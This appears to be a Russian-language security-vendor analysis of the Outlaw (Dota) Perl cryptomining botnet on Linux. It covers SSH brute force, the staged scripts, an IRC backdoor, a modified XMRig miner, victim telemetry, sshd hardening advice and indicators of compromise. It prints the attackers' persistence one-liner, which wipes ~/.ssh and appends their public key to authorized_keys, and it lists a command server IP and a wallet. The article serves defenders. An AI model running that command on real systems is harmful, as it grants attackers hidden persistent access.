
Введение
Недавно в ходе реагирования на инцидент в Бразилии мы столкнулись с относительно простой, но крайне эффективной угрозой, нацеленной на Linux-системы. Outlaw (также известный как Dota) — это ботнет для криптомайнинга, написанный на Perl. Как правило, он заражает системы, где используются слабые или стандартные учетные данные SSH. Ранее в исследованиях ([1], [2]) описывались образцы Outlaw, полученные с помощью ловушек. В этой статье мы поделимся разбором реального инцидента, над которым работали специалисты «Лаборатории Касперского», а также предоставим данные телеметрии о странах, которые привлекли наибольшее внимание злоумышленников. Кроме того, мы опишем используемые злоумышленниками тактики, техники и процедуры, а также лучшие практики, которые помогут специалистам по кибербезопасности защитить свою инфраструктуру от подобных угроз.
Анализ
Мы начали анализ со сбора необходимых улик в скомпрометированной Linux-системе. В ходе расследования мы обнаружили подозрительный ключ авторизации SSH, привязанный к пользователю с именем suporte — в португалоязычных системах это распространенное имя для административных учетных записей. Часто пароль к таким учетным записям совпадает с именем пользователя, что является серьезным промахом с точки зрения безопасности и значительно упрощает задачу злоумышленникам. Обнаруженный SSH-ключ принадлежал пользователю удаленной Linux-системы с именем mdrfckr — эта строка ранее встречалась в кампаниях ботнета Dota, что вызвало у нас обоснованные подозрения.
После первоначальной компрометации через SSH злоумышленники загружают скрипт первого этапа tddwrt7s.sh с помощью утилит wget или curl. Этот файл отвечает за загрузку архива dota.tar.gz с сервера атакующих. Ниже представлена типичная для этой группы последовательность команд, которую они выполняют для загрузки и распаковки этого файла. Примечательно, что злоумышленники пытаются загрузить скрипт сразу двумя упомянутыми утилитами, поскольку одна из них может отсутствовать в системе.
После распаковки в домашнем каталоге пользователя создается скрытый каталог .configrc5 со следующей структурой:
Любопытно, что одним из первых шагов выполнения является проверка наличия на устройстве других известных майнеров с помощью скрипта a/init0. Если такие майнеры обнаруживаются, скрипт пытается завершить их процессы и предотвратить повторный запуск. Одна из целей — избежать конкуренции за ресурсы и снизить нагрузку на оперативную память и процессор зараженной машины.
Скрипт также отслеживает активные процессы и выявляет те, что нагружают процессор не менее чем на 40%, посредством команды ps axf -o "pid %cpu". Для каждого такого процесса с помощью команды grep он проверяет запуск процесса через командную строку (/proc/$procid/cmdline) поиском определенных ключевых слов, например kswapd0, tsm, rsync, tor, httpd, blitz или mass. Если ни одно из ключевых слов не найдено (то есть grep не возвращает ноль), процесс принудительно завершается командой kill -9. В противном случае скрипт выводит сообщение don't kill, фактически добавляя все ожидаемые или нужные для Outlaw процессы с высокой нагрузкой на ЦП в собственный список разрешенных и предотвращая их случайное завершение.
После проверки и завершения процессов выполняется файл b/run, который отвечает за закрепление на зараженной машине и запуск следующего этапа вредоносного ПО. Для закрепления в системе злоумышленники использовали команду, которая удаляет существующие настройки SSH, создает пустую папку .ssh, добавляет новый открытый ключ для доступа по SSH и блокирует права доступа. Она выглядит следующим образом:
1 |
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh |
Следующим этапом выполнения зловреда выступает строка внутри скрипта b/run, закодированная по алгоритму Base64. После декодирования она раскрывает еще один уровень обфускации — на этот раз обфусцированный Perl-скрипт. Интересно, что злоумышленники оставили в коде комментарий, сгенерированный обфускатором perlobfuscator.com.
Мы с легкостью деобфусцировали скрипт с помощью инструмента с открытым исходным кодом, доступного на том же сайте, который использовали злоумышленники (https://perlobfuscator.com/decode-stunnix-5.17.1.pl). Это позволило получить оригинальный исходный код, содержащий несколько слов на португальском языке.
Этот Perl-скрипт представляет собой IRC-клиент ботнета, который действует как бэкдор в скомпрометированной системе. После выполнения он маскируется под процесс rsync, создает свою копию в фоновом режиме и игнорирует сигналы на завершение. По умолчанию скрипт подключается к жестко закодированному IRC-серверу через порт 443, используя случайно сгенерированные никнеймы, и присоединяется к заранее определенным каналам, ожидая команд от назначенных администраторов. Бот поддерживает множество вредоносных функций, включая: выполнение команд, DDoS-атаки, сканирование портов, загрузку и выгрузку файлов через HTTP, — предоставляя злоумышленникам широкие возможности для управления ботнетом.
Майнер XMRig
Другой файл из скрытого каталога, a/kswapd0, представляет собой ELF-файл, упакованный с использованием UPX, как показано на рисунке ниже. Мы без проблем распаковали его и проанализировали.
Передав хэш этого бинарника на порталы анализа угроз и проведя статический анализ образца, мы пришли к выводу, что это модифицированная версия криптовалютного майнера XMRig (6.19.0).
Мы также обнаружили, что в бинарный файл был встроен файл конфигурации, который описывал майнинговые операции злоумышленников. В нашем случае конфигурация включала добычу Monero исключительно на центральном процессоре, при этом OpenCL и CUDA (для майнинга на видеокартах) были отключены. Майнер работает в фоновом режиме, сильно нагружая процессор. Он также подключается к нескольким майнинговым пулам, один из которых доступен через Tor, что объясняет наличие Tor-файлов в директории .configrc5/a. На рисунке ниже показан фрагмент этого файла конфигурации.
Жертвы
Согласно телеметрическим данным, собранным из открытых источников, жертвы группы Outlaw в основном находятся в США, однако также есть пострадавшие в Германии, Италии, Таиланде, Сингапуре, Тайване, Канаде и Бразилии, как показано на диаграмме ниже.
Страны и территории с наибольшей активностью ботнета Outlaw (скачать)
На следующей диаграмме показано распределение недавних жертв. Можно увидеть, что группа приостановила операции с декабря 2024 года по февраль 2025 года, а в марте 2025 года произошел резкий скачок числа жертв.
Количество жертв Outlaw по месяцам, сентябрь 2024 г. — март 2025 г. (скачать)
Наши рекомендации
Поскольку группа Outlaw использует слабые или стандартные пароли SSH, мы рекомендуем системным администраторам принимать проактивные меры для защиты своих серверов. Для этого нужно уделить внимание правильной конфигурации сервера и поддерживать службы в актуальном состоянии. Даже такие простые меры, как использование аутентификации на основе ключей, могут быть весьма эффективными. Кроме того, файл /etc/ssh/sshd_config позволяет настроить дополнительные параметры для повышения безопасности. Вот некоторые из них.
- Port <custom_port_number>: изменяет порт SSH по умолчанию, чтобы усложнить задачу автоматического сканирования.
- Protocol 2: принудительно включает более безопасную версию протокола.
- PermitRootLogin no: отключает прямой вход в систему с правами пользователя root.
- MaxAuthTries <integer>: ограничивает количество попыток аутентификации за сеанс.
- LoginGraceTime <time>: определяет время, отведенное на завершение процесса входа в систему (в секундах, если не указано иное).
- PasswordAuthentication no: отключает вход в систему с помощью пароля.
- PermitEmptyPasswords no: предотвращает вход в систему с пустыми паролями.
- X11Forwarding no: отключает механизм переадресации X11 (используется для удаленного запуска графических приложений).
- PermitUserEnvironment no: запрещает пользователям передавать переменные окружения.
- Banner /etc/ssh/custom_banner: изменяет баннер входа в систему.
По возможности отключите неиспользуемые протоколы аутентификации:
- ChallengeResponseAuthentication no
- KerberosAuthentication no
- GSSAPIAuthentication no
Отключите параметры туннелирования, чтобы избежать неправильного использования функции SSH-туннеля:
- AllowAgentForwarding no
- AllowTcpForwarding no
- PermitTunnel no
Можете ограничить доступ к SSH для определенных IP-адресов или сетей с помощью директивы AllowUsers:
- AllowUsers *@10.10.10.217
- AllowUsers *@192.168.0.0/24
Включите аутентификацию с открытым ключом:
- PubkeyAuthentication yes
Настройте автоматическое завершение простаивающих сеансов:
- ClientAliveInterval <time>
- ClientAliveCountMax <integer>
Следующий файл конфигурации можно использовать как шаблон для повышения безопасности службы SSH:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
Protocol 2 Port 2222 LoginGraceTime 10 PermitRootLogin no MaxAuthTries 3 IgnoreRhosts yes PubkeyAuthentication yes PasswordAuthentication no PermitEmptyPasswords no UsePAM yes ChallengeResponseAuthentication no KerberosAuthentication no GSSAPIAuthentication no AllowAgentForwarding no AllowTcpForwarding no X11Forwarding no PrintMotd no PrintLastLog yes PermitUserEnvironment no ClientAliveInterval 300 ClientAliveCountMax 2 PermitTunnel no Banner /etc/ssh/custom_banner AllowUsers *@10.10.10.217 |
Одновременно с правильной конфигурацией sshd_config использование таких инструментов, как Fail2Ban или ограничение скорости через firewalld, добавляет еще один уровень защиты от брутфорса.
Заключение
Сосредоточив внимание на слабых или стандартных SSH-учетных данных, Outlaw продолжает улучшать и расширять свой инструментарий для платформы Linux. Она использует разные методы обхода защиты, включая сокрытие файлов и папок, обфускацию кода, а также применяет скомпрометированные SSH-ключи, чтобы как можно дольше сохранять свое присутствие. IRC-клиент ботнета поддерживает широкий спектр вредоносных операций, включая выполнение команд, флуд-атаки и сканирование. Также злоумышленники эксплуатируют вычислительные ресурсы зараженных систем для добычи криптовалюты с помощью специальной версии майнера XMRig. Чтобы значительно снизить риск заражения, системным администраторам рекомендуется использовать более безопасную конфигурацию SSH (например, отключив парольный доступ), отслеживать подозрительные процессы и ограничить доступ к SSH только для доверенных пользователей и сетей.
Тактики, техники и процедуры
Ниже приведены тактики, техники и процедуры Outlaw, основанные на нашем анализе вредоносного ПО.
Тактика | Техника | ID |
Execution | Command and Scripting Interpreter: Unix Shell | T1059.004 |
Persistence | Scheduled Task/Job: Cron | T1053.003 |
Persistence | Account Manipulation: SSH Authorized Keys | T1098.004 |
Defense Evasion | Obfuscated Files or Information | T1027 |
Defense Evasion | Indicator Removal: File Deletion | T1070.004 |
Defense Evasion | File and Directory Permissions Modification | T1222 |
Defense Evasion | Hide Artifacts: Hidden Files and Directories | T1564.001 |
Defense Evasion | Obfuscated Files or Information: Software Packing | T1027.002 |
Credential Access | Brute Force | T1110 |
Discovery | System Information Discovery | T1082 |
Discovery | Process Discovery | T1057 |
Discovery | Account Discovery | T1087 |
Discovery | System Owner/User Discovery | T1033 |
Discovery | System Network Connections Discovery | T1049 |
Lateral Movement | Remote Services: SSH | T1021.004 |
Collection | Data from Local System | T1005 |
Command and Control | Application Layer Protocol | T1071 |
Command and Control | Ingress Tool Transfer | T1105 |
Exfiltration | Exfiltration Over Alternative Protocol | T1048 |
Impact | Resource Hijacking | T1496 |
Impact | Service Stop | T1489 |
Индикаторы компрометации
- 15f7c9af535f4390b14ba03ddb990c732212dde8 (a)
- 982c0318414c3fdf82e3726c4ef4e9021751bbd9 (init0)
- f2b4bc2244ea8596a2a2a041308aa75088b6bbd5 (kswapd0)
- 4d5838c760238b77d792c99e64bd962e73e28435 (run)
- d0ba24f9fad04720dff79f146769d0d8120bf2ff (расшифрованный скрипт Perl)
- 45[.]9[.]148[.]99 (командный сервер злоумышленников)
- 483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS (кошелек Monero)
Ботнет Outlaw раскинул сети по всему миру